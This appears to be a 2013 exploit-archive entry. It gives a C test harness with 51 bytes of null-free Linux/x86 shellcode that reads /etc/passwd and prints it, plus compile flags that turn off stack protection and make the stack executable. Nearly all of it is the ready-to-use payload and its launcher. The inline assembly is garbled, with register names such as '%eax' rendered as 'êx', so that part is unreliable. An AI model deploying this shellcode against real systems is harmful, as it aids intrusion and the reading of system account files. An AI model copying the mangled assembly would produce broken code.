Linux/x86 - Read /etc/passwd file + Null-Free Shellcode (51 bytes)

2013-01-01 12:05:03

/*

Tiny Read File Shellcode - C Language - Linux/x86
Copyright (C) 2013 Geyslan G. Bem, Hacking bits

http://hackingbits.com
[email protected]

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

*/

/*

tiny_read_file_shellcode

* 51 bytes
* null-free
* read 4096 bytes from /etc/passwd file


# gcc -m32 -fno-stack-protector -z execstack tiny_read_file_shellcode.c -o tiny_read_file_shellcode

Testing
# ./tiny_read_file_shellcode

*/


#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \

"\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x73\x73"
"\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f"
"\x65\x74\x89\xe3\xcd\x80\x93\x91\xb0\x03"
"\x31\xd2\x66\xba\xff\x0f\x42\xcd\x80\x92"
"\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x93\xcd"
"\x80";


main ()
{

// When contains null bytes, printf will show a wrong shellcode length.

printf("Shellcode Length: %d\n", strlen(shellcode));

// Pollutes all registers ensuring that the shellcode runs in any circumstance.

__asm__ ("movl $0xffffffff, êx\n\t"
"movl êx, ëx\n\t"
"movl êx, ìx\n\t"
"movl êx, íx\n\t"
"movl êx, %esi\n\t"
"movl êx, íi\n\t"
"movl êx, ëp\n\t"

// Calling the shellcode
"call shellcode");

}

Fixes

No fixes

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